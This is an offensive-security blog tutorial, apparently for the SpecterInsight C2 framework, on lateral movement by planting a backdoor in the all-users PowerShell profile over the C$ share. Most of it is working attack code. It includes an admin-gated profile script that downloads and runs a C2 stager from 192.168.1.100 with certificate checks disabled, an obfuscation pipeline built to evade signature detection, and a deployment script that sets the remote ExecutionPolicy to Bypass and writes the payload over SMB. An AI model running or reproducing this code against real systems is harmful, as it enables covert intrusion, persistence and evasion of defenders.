How to Leverage PowerShell Profiles for Lateral Movement

Overview

PowerShell profiles are scripts that automatically run when you start a PowerShell session. These profiles allow you to customize your PowerShell environment, set preferences, and execute specific commands or functions each time you launch PowerShell. There are different profiles for different scopes, enabling you to have different configurations for various scenarios.

As an adversary, we could gain remote execution by creating or modifying a PowerShell profile using SMB that contains a PowerShell cradle. Once the PowerShell cradle is in place, we could either wait for the cradle to trigger by a legitimate, pre-existing PowerShell process or we could force the cradle to trigger by remotely executing legitimate PowerShell command.

First, we need to select a PowerShell profile to target. There are four main PowerShell profiles that we could choose from:

  • Current User, Current Host:
    • Path: $Home\Documents\PowerShell\Profile.ps1
    • This profile applies to the current user on the current PowerShell host (console or Integrated Scripting Environment – ISE).
  • Current User, All Hosts:
    • Path: $Home\Documents\PowerShell\Microsoft.PowerShell_profile.ps1
    • This profile applies to the current user across all PowerShell hosts (console, ISE, and WinRM).
  • All Users, Current Host:
    • Path: $PsHome\Profile.ps1
    • This profile applies to all users on the current PowerShell host.
  • All Users, All Hosts:
    • Path: $PsHome\Microsoft.PowerShell_profile.ps1
    • This profile applies to all users across all PowerShell hosts.

Given that we are laterally moving, we have sufficient privileges to modify the two system profiles (All Users, Current Host and All Users, All Hosts). These profiles give us best opportunity for lateral movement because our payload will be triggered when any PowerShell Runspace is initialized from any host from any user. Ideally, our payload will run under the context of a high integrity process or at least a privileged user. Unfortunately, the profile itself does not guarantee that, we have to do that in code.

Another issue we could run into is that we may get inundated with callbacks if there is a high volume of PowerShell commands being run on the system, so we need some way to restrict the number of potential callbacks. We’ll use a named semaphore to ensure that only one payload runs at a given time. The reason we use a named versus an unnamed semaphore is that we want the semaphore to be shared across multiple processes. An unnamed semaphore will only be visible to the current process and threads.

Lastly, we may get a callback from a short lived PowerShell instance (e.g. a simple script that runs periodically and then exits as soon as it’s done). Our access to the target will die with the current process dies, so we need some way to escape the session. Internally, we will do that by starting a child process that is detached from the parent. This will actually solve one final issue which is the Specter payload will bock further execution if we simple download and run a PowerShell cradle. That would mean that the PowerShell session would be blocked until our implant terminates, which would block or prevent critical administration activity or just be suspicious to someone opening an interactive prompt.

To summarize, we need the backdoor profile script to do the following things:

  1. Only run if Administrator
  2. Only run once
  3. Escape the current process
  4. Do not block the execution of the current PowerShell session
  5. Do not display any odd or suspicious output to the console

Tools Utilized in this Post

Internals

The first thing we need to do is create a payload to inject into the PowerShell profile. Ultimately, this code needs to accomplish the four goals listed above and launch our PowerShell payload.

Persistence Script

First, the PowerShell script block below will exit if the current user is not NT AUTHORITY\SYSTEM or part of the Administrators group. This ensures that we only get a callbacks from privileged processes.

$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
$isAdministrator = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

if($currentUser.Name -ilike '*NT AUTHORITY\SYSTEM*' -or $isAdministrator) {
    #The next step of the script omitted for brevity
}

Next, we need to ensure that only one implant is triggered by creating a semaphore that is unique to the system. This script will not continue if the semaphore already exists. We initialize the script with a count of 1 and a maximum value of 1. Everytime we call acquire a handle to the semaphore, it decrements the count. At zero, the WaitOne method will return false, meaning that the handle is in use.

We also don’t want to block the PowerShell session. It could be a user opening a PowerShell prompt. If the prompt never shows up, it may prompt investigation. We use the WaitOne method overload that takes in the number of milliseconds to wait to acquire the semaphore. We supply a value of zero to ensure that no waiting occurs. Either we immediately get control of the semaphore, or another instance is already running.

#Attempt to acquire access to the semaphore
$semaphore = New-Object System.Threading.Semaphore(1, 1, '84b6a618-10ba-4967-9157-88145cd105a5');

#Check if access to the semaphore was successfully acquired
if ($semaphore.WaitOne(0)) {
    try {
        #The next step of the script omitted for brevity
    } finally {
        [void]$semaphore.Release();
    }
}

Now, we need to create a child process to execute the PowerShell download and execute command so that our implant doesn’t die if the current process closes. To do that, we will use the Start-Job cmdlet which internally creates a child process. We wrap the PowerShell cradle in a try/finally block and so that we ensure the handle to the semaphore is released once the implant stops running. If we don’t release the handle, then we will only ever get one callback. We also don’t want anything suspicious written out to the pipeline, so we pipe the results to Out-Null.

Start-Job -ScriptBlock { try { <#The next step of the script omitted for brevity#> } finally { $semaphore.Release(); } } | Out-Null;

We’re actually going to generate the cradle dynamically, but here is an example. This template configures the ServerCertificateValidationCallback to ignore certificate errors. It then uses the System.Net.WebRequest class to activate the SpecterInsight ‘ps_script’ payload, which will generate an obfuscated PowerShell stager for the SpecterInsight implant. We leverage the System.Net.WebRequest class to make this cradle PowerShell 2.0+ compatible, so that it works all the way back to Windows 7.

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$request =[Net.WebRequest]::Create('https://192.168.1.100/static/resources/?build=4781081573d343d1b6c583969463bc5f&kind=ps_script');
$response = $request.GetResponse();
$stream = $response.GetResponseStream();
$reader = New-Object IO.StreamReader($stream);
$script = $reader.ReadToEnd()
[PowerShell]::Create().AddScript($script).Invoke()

Next, we’re going to build a payload pipeline to generate the persistence payload we walked through above, but before we do that, you’ll need a brief explanation of payload pipelines.

Payload pipelines are PowerShell scripts that dynamically generate payloads at runtime. An implant running on the target system can request a new payload from the C2 server. That activates a pipeline, which runs the associated PowerShell script to generate and obfuscate the payload. That then gets returned to the implant.

We’re going to write the C2-side payload pipeline script that generates our PowerShell profile persistence script.

Now, we’re going to embed the template I described above in a Payload Pipeline so that we can dynamically generate parameters like the semaphore identifier and we can obfuscate the payload to evade signaturization and detection.

Payload Pipelines are PowerShell scripts that run in the C2 server and are executed whenever the pipeline is activated by the implant. This allows the implant to download new, unique payloads everytime the pipeline is activated.

The script to the right generates a template for the payload and stores it in the $script variable.

#Generate a randomly named semaphore
$semaphore = [Guid]::NewGuid().ToString();

#Generate the PowerShell loader
$cradle = Get-PwshScriptCradle -Pipeline 'ps_script';
$cradle = $cradle.Contents;

#Generate the profile script
$script = @"
#Verify that the user is an Administrator
`$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
`$principal = New-Object Security.Principal.WindowsPrincipal(`$currentUser)
`$isAdministrator = `$principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

if(`$currentUser.Name -ilike '*NT AUTHORITY\SYSTEM*' -or `$isAdministrator) {
    #Attempt to acquire access to the semaphore
    `$semaphore = New-Object System.Threading.Semaphore(1, 1, '$semaphore');

    #Check if access to the semaphore was successfully acquired
    if (`$semaphore.WaitOne(0)) {
        Start-Job -ScriptBlock { try { $cradle } finally { [void]`$semaphore.Release();} } | Out-Null;
    }
}
"@;

Next, we apply a set of obfuscation techniques to the payload template.

First, we remove comments from the template using the Obfuscate-PwshRemoveComments cmdlet.

Then we obfuscate commonly signaturized cmdlet names with the Obfuscate-PwshCmdlets. We don’t want to obfuscate every cmdlet, so we just filter the suspicious ones (e.g. iex).

Next comes string obfuscation. There are a variety of techniques provided out-of-the-box, and they’re all pretty decent. The default setting is to randomly select a technique.

Next is variable names. This goes through and renames variables to randomly generated variable names. The default setting uses a wordlist of the most common PowerShell variable names from Github.

Lastly, we obfuscate the names of any functions. While we didn’t define any functions in our template, the string obfuscation may have added some.

#Obfuscate the profile script
$obfuscated = $script | Obfuscate-PwshRemoveComments;
$obfuscated = $obfuscated | Obfuscate-PwshCmdlets -Filter @(".*iex.*", ".*icm.*", "Add-Type");
$obfuscated = $obfuscated | Obfuscate-PwshStrings;
$obfuscated = $obfuscated | Obfuscate-PwshVariables;
$obfuscated = $obfuscated | Obfuscate-PwshFunctionNames;
$obfuscated;

Now when we run the pipline, we get output similar to what’s shown to the right. Each obfuscation techniques relies heavily on randomization, so the payload script will be different every time it’s generated. This should mitigate signaturization.

$process = [Security.Principal.WindowsIdentity]::GetCurrent()
$value = New-Object Security.Principal.WindowsPrincipal($process)
$items = $value.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

if($process.Name -ilike ('*'+'NT'+' '+'A'+'U'+'THO'+'RI'+'T'+'Y\SY'+'STE'+'M*') -or $items) {
    
    $hostname = New-Object System.Threading.Semaphore(1, 1, ('50a6'+'be1'+'9-9'+'28'+'e-'+'4'+'0'+'6b-a'+'4'+'0c'+'-5'+'50'+'99'+'752'+'5f83'));

    
    if ($hostname.WaitOne(0)) {
        Start-Job -ScriptBlock { try { [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$connection = New-Object System.Net.WebClient;
$scriptname = $connection.DownloadString(('http'+'s://'+'192.'+'168.'+'1'+'.100'+'/sta'+'tic'+'/res'+'ourc'+'es/?'+'bui'+'l'+'d='+'47'+'8108'+'1'+'573'+'d343'+'d1'+'b6c5'+'8396'+'9'+'4'+'63'+'bc5'+'f&ki'+'n'+'d='+'ps_'+'s'+'cri'+'pt'));
[PowerShell]::Create().AddScript($scriptname).Invoke() } finally { [void]$hostname.Release();} } | Out-Null;
    }
}

Deployment Script

Now we need to create the script that deploys our new lateral movement technique.

First, we’re going to define some parameters for the script. This parameter block will be rendered in the GUI for operator input. There are two parameter sets: (1) Impersonate and (2) Username and Password. The first parameters set will attempt to authenticate with the remote system using the credentials of the current user. The other will attempt to authenticate with operator specified credentials.

param(
	[Parameter(ParameterSetName="Impersonate", Mandatory=$True, HelpMessage="The IP address or hostname of the system to run the cradle.")]
    [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The IP address or hostname of the system to run the cradle.")]
    [ValidateNotNullOrEmpty]
    [string]$ComputerName,

    [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The local or domain username to authenticate with.")]
    [ValidateNotNullOrEmpty]
    [string]$Username,

    [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The password for the specified user.")]
    [ValidateNotNullOrEmpty]
    [string]$Password,

    [Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The Specter build identifier.")]
    [Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The Specter build identifier.")]
    [ValidateNotNullOrEmpty()]
    [Build]
    [string]$Build
)

We need to load our dependencies. For this script, we’re going to use some cmdlets defined in the lateral module.

#Ensure that the necessary modules are loaded
load lateral;

Next, we will generate a new payload. Essentially, we will be generating the script we explained above, but with a little obfuscation so that this technique doesn’t become signaturized.

We pass in the $Build argument defined in the parameter sets so that the operator could throw out an implant with a different configuration than the current one.

#Generate the payload
$script = Get-Payload 'ps_lateral_movement_profile' -Build $Build;

Next, we attempt to set the ExecutionPolicy on the target system to ‘Bypass’. If the execution policy does not allow script execution, then our payload will not run. We’ll use the Get-RegKeyValue and Set-RegKeyValue to ensure the policy is set.

#Set the ExecutionPolicy to Bypass on the remote system. This is required to allow PowerShell profile scripts to run.
$Hive = 'HKEY_LOCAL_MACHINE';
$key = 'SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell';
$name = 'ExecutionPolicy';

#Attempt to set the value
try {
	$previousExectionPolicy = Get-RegKeyValue -ComputerName $ComputerName -Username $Username -Password $Password -Hive $Hive -Key $key -Name $name;
	Set-RegKeyValue -ComputerName $ComputerName -Username $Username -Password $Password -Hive $Hive -Key $key -Name $name -Value 'Bypass';
} catch { }

#Get the execution policy
try {
	$currentExectionPolicy = Get-RegKeyValue -ComputerName $ComputerName -Username $Username -Password $Password -Hive $Hive -Key $key -Name $name;
} catch {
	$currentExectionPolicy = [string]::Format('Failed to retrieve the ExecutionPolicy. {0}', $_.Exception.Message);
}

Next, we establish a temporary network share with the remote host using explicit credentials or impersonation of no credentials were provided.

#Configure the UNC paths to transfer via the C$ administrators share 
$sharePath = "\\$ComputerName\C`$";
$uncPath = [System.IO.Path]::Combine($sharePath, 'Windows\System32\WindowsPowerShell\v1.0\profile.ps1');

#Copy the profile script to the target using SMB
try {
    if([string]::IsNullOrEmpty($Username)) {
	#Use current user impersonation for authentication to map the share
        [System.IO.File]::WriteAllBytes($uncPath, $script);
    } else {
	#Use explicit credentials for authentication to map the share
        $credentials = New-Object System.Net.NetworkCredential($Username, $Password);
        $share = [common.IO.TemporaryNetworkShare]::Map($sharePath, $credentials);
        try {
            [System.IO.File]::WriteAllBytes($uncPath, $script);
        } finally {
        	#Unmount the share regardless of the outcome
            $share.Dispose();
        }
    }
    $success = $true;
} catch {
    $success = $false;
    throw;
}

Lastly, we output the results detailing the technique so that our lateral movement action can be recorded in ELK and displayed in our Kibana dashboard.

We want to add information so that if another operator has to come clean up, they’ll have everything they need to do so. In order to achieve that, we provide the previous execution policy and current execution policy, so that we can reset those settings after the engagement.

We also add the full UNC path to the profile. This will allow the operator who cleans up to remove the lateral movement technique from any system in the environment.

#Output the lateral movement message format
New-Object psobject -Property @{
    Lateral = New-Object psobject -Property @{
        Method = "PowerShell Profile";
        Payload = 'ps_lateral_movement_profile';
        Path = $uncPath;
        Build = $Build;
        System = $ComputerName;
        Username = $Username;
        PreviousExecutionPolicy = $previousExecutionPolicy;
        CurrentExecutionPolicy = $currentExectionPolicy;
        Success = $success;
    };
};

Procedures

Step 1: Lookup the Lateral Movement with PowerShell Profile Technique

After saving the script defined above, we can now employ it during an engagement. Simply search for the script, select the proper SpecterScript, and click the “Insert” button to load the script into the Command Builder.

Step 2: Configure Parameters

There are two parameter sets: (1) Impersonate and (2) Username and Password. For this example, we are moving laterally from a non-domain connected system, so we will use the “Username and Password” parameter set as the current user cannot authenticate with the domain.

Step 3: Run the Script

With all of the parameters satisfied, we can now run the script. The script will be executed by the Specter after the next checkin. Once the script completes, the results are serialized back and presented in the output window.

Step 4: View the Results in Kibana

Kibana will render the results of all of the lateral movement techniques executed during the specified timeframe.

Step 5: A PowerShell Instance is Started

Step 5 is really just “wait around for something to happen”, but generally a PowerShell script gets executed at some point. Now outwardly suspicious output. Just the standard PowerShell profile system message that we can’t suppress.

Step 6: Receive Callback

And now, we get a callback from our payload.

Summary

That about wraps up this technique. This was a fun little challenge to try and explore alternative methods of lateral movement. Hopefully you’ve learned something new that you can use to solve a problem down the road. Just the process of going through all of the requirements and then building a solution for each is a helpful exercise.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top